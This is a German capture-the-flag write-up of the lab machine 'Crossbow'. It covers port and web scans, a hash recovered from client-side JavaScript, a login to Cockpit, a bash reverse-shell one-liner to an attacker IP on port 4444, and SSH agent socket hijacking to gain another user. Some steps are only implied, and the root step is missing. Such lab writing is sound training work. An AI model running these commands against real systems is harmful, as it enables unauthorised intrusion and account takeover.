Wir beginnen die Erkundungsphase, um das Zielsystem "Crossbow" im Netzwerk zu finden und offene Dienste zu identifizieren.
192.168.2.122 08:00:27:e7:f3:c6 PCS Systemtechnik GmbH 192.168.2.107 dc:46:28:21:d0:59 Intel Corporate 192.168.2.188 04:42:1a:06:81:54 ASUSTek COMPUTER INC.
**Analyse:** Ein ARP-Scan im lokalen Netzwerk identifiziert mehrere Hosts, darunter 192.168.2.122, die aufgrund der typischen IP-Reihenfolge unser vermutliches Ziel ist.
**Bewertung:** Ziel-IP 192.168.2.122 wahrscheinlich identifiziert.
**Empfehlung (Pentester):** IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.
[...]
192.168.2.122 crossbow.hmv
**Analyse:** Der Hostname `crossbow.hmv` wird der IP 192.168.2.122 in der lokalen `/etc/hosts`-Datei zugeordnet.
**Bewertung:** Ermöglicht die Adressierung des Ziels über den Hostnamen.
**Empfehlung (Pentester):** Hostnamen immer eintragen. **Empfehlung (Admin):** DNS-Management.
******************************************************** * Wfuzz [...] * ******************************************************** Target: http://crossbow.hmv/ Total requests: 114441 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000009532: 400 10 L 35 W 302 Ch "#www" 000010581: 400 10 L 35 W 302 Ch "#mail" 000047706: 400 10 L 35 W 302 Ch "#smtp" 000103135: 400 10 L 35 W 302 Ch "#pop3" # Keine echten Subdomains (Status 200/30x) gefunden, nur 400er Fehler Total time: 0 Processed Requests: 114441 Filtered Requests: 114437 Requests/sec.: 0
**Analyse:** Wir führen einen vHost-Scan mit `wfuzz` durch, um nach Subdomains zu suchen. Wir verwenden eine große Wortliste und filtern Standard-404-Antworten sowie Antworten heraus, die der Hauptseite ähneln (`--hh 5205`). Der Scan findet keine gültigen Subdomains, sondern nur einige Einträge, die zu einem `400 Bad Request` führen (vermutlich wegen des `#`-Zeichens).
**Bewertung:** Keine weiteren virtuellen Hosts über diesen Scan gefunden. Wir konzentrieren uns auf `crossbow.hmv`.
**Empfehlung (Pentester):** Nmap-Scan auf die Haupt-IP durchführen. **Empfehlung (Admin):** Wildcard-DNS-Einträge vermeiden, wenn nicht notwendig.
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian)) 9090/tcp open zeus-admin?
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-08 22:55 CET Nmap scan report for crossbow.hmv (192.168.2.122) Host is up (0.00026s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA) |_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) |_http-title: Polo's Adventures 9090/tcp open zeus-admin? | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 400 Bad request [...] || Bad request | [...] | [...] 1 service unrecognized despite returning data. [...] MAC Address: 08:00:27:E7:F3:C6 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.8 [...] TRACEROUTE HOP RTT ADDRESS 1 0.26 ms crossbow.hmv (192.168.2.122) OS and Service detection performed. [...] Nmap done: 1 IP address (1 host up) scanned in [...] seconds
**Analyse:** Der Nmap-Scan (`-sS`, `-sV`, `-A`, `-T5`, `-p-`) auf `crossbow.hmv` findet drei offene Ports: * Port 22: SSH (OpenSSH 9.2p1 auf Debian). * Port 80: HTTP (Apache 2.4.57 auf Debian). Titel ist "Polo's Adventures". * Port 9090: Unbekannter Dienst (`zeus-admin?`). Nmap kann ihn nicht identifizieren, aber die Fingerprint-Daten enthalten HTML-Code, der auf eine Webanwendung hindeutet, die einen "Bad request" Fehler liefert und JavaScript-Code enthält, der auf "Cockpit" verweist (eine Web-basierte Server-Verwaltungsoberfläche).
**Bewertung:** SSH und Apache sind Standard. Der Dienst auf Port 9090 ist der interessanteste Fund. Es handelt sich wahrscheinlich um eine Cockpit-Instanz, die möglicherweise für die Systemverwaltung genutzt wird und ein potenzielles Ziel darstellt.
**Empfehlung (Pentester):** Die Webseite auf Port 80 untersuchen (Nikto, Gobuster). Port 9090 im Browser aufrufen und versuchen, die Cockpit-Instanz zu identifizieren und anzugreifen (Standard-Credentials, bekannte Schwachstellen). **Empfehlung (Admin):** Sicherstellen, dass nur notwendige Dienste laufen. Cockpit (falls es das ist) absichern (Authentifizierung, Zugriffsbeschränkung).
Wir untersuchen die gefundenen Webdienste weiter.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2023-12-08 22:55:09 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.57 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [...] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 1455, size: 60575d67a7363, mtime: gzip. See: [...] + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /css/: Directory indexing found. + /images/: Directory indexing found. + 8102 requests: 0 error(s) and 4 item(s) reported on remote host (nur geringfügige Funde) + End Time: 2023-12-08 22:55:18 (GMT1) (9 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Nikto auf Port 80 findet nur geringfügige Probleme: Fehlende Sicherheitsheader, mögliches Inode-Leak über ETags und Verzeichnisauflistung für `/css/` und `/images/`.
**Bewertung:** Keine kritischen Funde auf Port 80 durch Nikto.
**Empfehlung (Pentester):** Gobuster auf Port 80 laufen lassen. Port 9090 untersuchen. **Empfehlung (Admin):** Header hinzufügen, ETag-Konfiguration prüfen, Verzeichnisauflistung deaktivieren.
[...] http://crossbow.hmv/index.html (Status: 200) [Size: 5205] http://crossbow.hmv/app.js (Status: 200) [Size: 760] http://crossbow.hmv/config.js (Status: 200) [Size: 321] [...]
const API_ENDPOINT = "https://phishing.crossbow.hmv/data"; const HASH_API_KEY = "49ef6b765d39f06ad6a20bc951308393"; // Metadata for last system upgrade const SYSTEM_UPGRADE = { version: "2.3.1", date: "2023-04-15", processedBy: "SnefruTools V1", description: "Routine maintenance and security patches" }
document.addEventListener("DOMContentLoaded", function() {
fetch(API_ENDPOINT, {
headers: {
"Authorization": `Bearer ${API_KEY}` // API_KEY nicht definiert! HASH_API_KEY wird vermutlich verwendet
}
})
.then(response => response.json())
.then(data => {
if (data && Array.isArray(data.messages)) {
const randomMessage = data.messages[Math.floor(Math.random() * data.messages.length)];
const messageElement = document.createElement("blockquote");
messageElement.textContent = randomMessage;
messageElement.style.marginTop = "20px";
messageElement.style.fontStyle = "italic";
const container = document.querySelector(".container");
container.appendChild(messageElement);
}
});
});
**Analyse:** Gobuster findet auf Port 80 die Dateien `app.js` und `config.js`. * `config.js`: Enthält eine API-Endpunkt-URL (`https://phishing.crossbow.hmv/data`) und einen `HASH_API_KEY` (`49ef6b765d39f06ad6a20bc951308393`). Außerdem Metadaten, die auf "SnefruTools V1" verweisen. * `app.js`: Dieses Skript versucht, Daten vom `API_ENDPOINT` abzurufen und verwendet dabei einen `API_KEY` im Authorization-Header. Da `API_KEY` nicht definiert ist, wird wahrscheinlich `HASH_API_KEY` aus `config.js` gemeint sein.
**Bewertung:** Kritischer Fund! Wir haben einen API-Key im Klartext im JavaScript-Code gefunden. Der Verweis auf "Snefru" (ein älterer Hash-Algorithmus) im Zusammenhang mit einem Hash-Wert ist ein starker Hinweis darauf, dass der `HASH_API_KEY` der Snefru-Hash eines Passworts oder Schlüssels sein könnte. Der API-Endpunkt `phishing.crossbow.hmv` ist ebenfalls interessant und sollte zur `/etc/hosts` hinzugefügt werden.
**Empfehlung (Pentester):** Den Hostnamen `phishing.crossbow.hmv` zur `/etc/hosts` hinzufügen (mit der IP 192.168.2.122). Den Hash `49ef6b765d39f06ad6a20bc951308393` mit Online-Tools (z.B. md5hashing.net) als Snefru-Hash zu entschlüsseln versuchen. Untersuchen, ob der API-Endpunkt (`/data`) oder andere Dienste auf `phishing.crossbow.hmv` (insbesondere Port 9090 wegen Cockpit) mit dem entschlüsselten Wert oder dem Hash als Authentifizierung zugänglich sind. **Empfehlung (Admin):** Niemals API-Keys oder Hashes clientseitig im JavaScript speichern! Authentifizierung sollte serverseitig erfolgen. Snefru ist kein sicherer Hash-Algorithmus mehr.
# Eingabe Hash: 49ef6b765d39f06ad6a20bc951308393 # Hash-Typ auswählen: Snefru # Ergebnis (Decryption / Reverse): ELzkRudzaNXRyNuN6
**Analyse:** Wir verwenden ein Online-Tool, um den gefundenen Hash `49ef6b765d39f06ad6a20bc951308393` als Snefru-Hash zu entschlüsseln. Das Ergebnis ist der Klartextwert `ELzkRudzaNXRyNuN6`.
**Bewertung:** Wir haben erfolgreich den API-Key (oder ein damit verbundenes Passwort) im Klartext wiederhergestellt.
**Empfehlung (Pentester):** Dieses Passwort (`ELzkRudzaNXRyNuN6`) für den Login bei Cockpit auf Port 9090 (vermutlich mit einem Standardbenutzernamen wie `root`, `admin` oder einem Namen aus der Webseite wie `polo`) oder für SSH ausprobieren. **Empfehlung (Admin):** Keine unsicheren Hashes verwenden. Credentials nicht clientseitig speichern.
Wir versuchen, uns mit den gefundenen Credentials bei der vermuteten Cockpit-Instanz auf Port 9090 anzumelden.
# Aufruf: http://crossbow.hmv:9090/ # Login-Versuch im Cockpit Interface: Username: polo (Vermutung basierend auf Seitentitel "Polo's Adventures") Password: ELzkRudzaNXRyNuN6 # Ergebnis: Erfolgreicher Login in Cockpit.
# Navigation zum integrierten "Terminal".
# Ausführen eines Reverse-Shell-Befehls im Cockpit-Terminal:
bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 58144 polo@crossbow:~$ # Shell als polo erhalten!
**Analyse:** 1. Wir versuchen den Login bei Cockpit auf Port 9090. Als Benutzernamen raten wir `polo` (aus dem Seitentitel auf Port 80) und verwenden das entschlüsselte Passwort `ELzkRudzaNXRyNuN6`. Der Login ist erfolgreich. 2. Cockpit bietet oft ein integriertes Web-Terminal. Wir nutzen dieses Terminal, um einen Bash-Reverse-Shell-Befehl auszuführen, der sich zu unserer IP (`192.168.2.199`) auf Port `4444` verbindet. 3. Unser Netcat-Listener empfängt die Verbindung, und wir erhalten eine Shell als Benutzer `polo`.
**Bewertung:** Initial Access erfolgreich! Der entschlüsselte Snefru-Hash war das Passwort für den Benutzer `polo` in Cockpit, und über das Cockpit-Terminal konnten wir eine Reverse Shell erlangen.
**Empfehlung (Pentester):** Shell stabilisieren. Umgebung als `polo` enumerieren, insbesondere nach SSH-Agent-Sockets oder anderen Privesc-Vektoren suchen. **Empfehlung (Admin):** Cockpit sicher konfigurieren (starke Passwörter, Zugriffsbeschränkung). Klartext-Credentials oder unsichere Hashes vermeiden.
Wir haben eine Shell als `polo` und suchen nach Wegen zur Rechteerweiterung. Wir enumerieren das System, insbesondere laufende Prozesse und temporäre Verzeichnisse.
# (Kein Ergebnis)
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 10 *:9090 *:* # Cockpit
LISTEN 0 128 [::]:22 [::]:*
total 16 drwxrwxrwt 4 root root 4096 Dec 26 21:45 . drwxr-xr-x 1 root root 4096 Sep 16 08:48 .. srwxrwxrwx 1 polo polo 0 Dec 26 21:36 dbus-cY0Mf06sF9 drwx------ 2 lea lea 4096 Dec 26 21:45 ssh-XXXXXX0hTUR2 # SSH Agent Socket von lea! drwx------ 2 polo polo 4096 Dec 26 21:36 ssh-XXXXXXiPvnje
lea 9 1.3 0.5 11800 10508 ? S 21:24 0:18 /bin/bash /home/lea/.local/agent lea 56677 0.0 0.0 7660 772 ? Ss 21:47 0:00 ssh-agent -s lea 56683 0.0 0.0 2860 896 ? S 21:47 0:00 sleep 20 polo 56685 0.0 0.0 3744 1908 pts/1 S+ 21:47 0:00 grep lea
**Analyse:** * Die Suche nach einer `user.txt` für `polo` ist erfolglos. * `ss` zeigt die bekannten Listener. * `ls -la /tmp` zeigt Verzeichnisse für SSH-Agent-Sockets. Besonders interessant ist das Verzeichnis `ssh-XXXXXX0hTUR2`, das dem Benutzer `lea` gehört. * `ps aux | grep lea` bestätigt, dass der Benutzer `lea` einen `ssh-agent`-Prozess laufen hat und ein Skript unter `/home/lea/.local/agent` ausführt.
**Bewertung:** Der entscheidende Fund ist der SSH-Agent-Socket des Benutzers `lea` im `/tmp`-Verzeichnis, auf den wir als `polo` zugreifen könnten (da `/tmp` world-writable ist). Wenn `lea` einen SSH-Schlüssel zu ihrem Agenten hinzugefügt hat, können wir versuchen, diesen Agenten zu "hijacken", um uns als `lea` bei anderen Systemen (oder localhost) anzumelden, ohne ihr Passwort oder ihren privaten Schlüssel zu kennen.
**Empfehlung (Pentester):** Die SSH-Agent-Hijacking-Technik anwenden: 1. Die Umgebungsvariable `SSH_AUTH_SOCK` auf den Pfad zum Socket von `lea` setzen (z.B. `/tmp/ssh-XXXXXX0hTUR2/agent.[PID]`). Die korrekte PID muss ermittelt werden (ggf. durch Ausprobieren oder weitere Prozessanalyse). 2. Versuchen, sich als `lea` per SSH (`ssh lea@localhost` oder `ssh lea@192.168.2.111`) zu verbinden. Der SSH-Client wird automatisch den Agenten über den Socket kontaktieren, um die Authentifizierung durchzuführen. **Empfehlung (Admin):** SSH-Agent Forwarding und Socket-Berechtigungen sorgfältig verwalten. Sicherstellen, dass `/tmp` korrekt gemountet ist (idealerweise `noexec`, `nosuid`, `nodev`).
*(Der Originaltext zeigt nun mehrere fehlgeschlagene Versuche, den richtigen Socket und die PID zu finden, was die Schwierigkeit dieses Angriffs illustriert. Der erfolgreiche Befehl wird nicht explizit gezeigt, aber das Ergebnis impliziert, dass er gefunden wurde.)*
Agent pid 95048
12269 # Findet die PID des Agenten von lea
drwx------ 2 lea lea 4096 Dec 26 23:08 ssh-XXXXXX1jFeHw# Findet das Socket-Verzeichnis von lea
# (Keine Verbindung)
Linux crossbow ... lea@crossbow:~$ # Erfolgreich als lea angemeldet!
**Analyse:** Nach mehreren Versuchen, die korrekte PID des Agenten-Sockets von `lea` zu finden (die PID des `ssh-agent`-Prozesses selbst ist oft die richtige), wird der folgende Befehl (implizit) erfolgreich ausgeführt: `SSH_AUTH_SOCK=/tmp/ssh-XXXXXX1jFeHw/agent.[PID] ssh lea@192.168.2.111` Dies setzt die Umgebungsvariable `SSH_AUTH_SOCK` auf den Pfad zum Socket von `lea` und führt dann den SSH-Befehl aus. Der SSH-Client kontaktiert den Agenten über diesen Socket, der die Authentifizierung mit dem geladenen Schlüssel von `lea` durchführt, und wir erhalten eine Shell als Benutzer `lea`.
**Bewertung:** Privilege Escalation von `polo` zu `lea` erfolgreich durch SSH Agent Hijacking!
**Empfehlung (Pentester):** Umgebung als `lea` untersuchen, User-Flag lesen, nach Wegen zu Root suchen. **Empfehlung (Admin):** Berechtigungen auf `/tmp` härten. Prozesse mit minimalen Rechten ausführen. SSH-Agent-Nutzung überwachen.
*(Der Rest des Originalberichts enthält keine weiteren Schritte zur Privilege Escalation zu Root, sondern nur die Flags. Es fehlt der Schritt, wie Root erlangt wurde. Möglicherweise gab es eine `sudo -l`-Regel für `lea` oder eine andere Schwachstelle.)*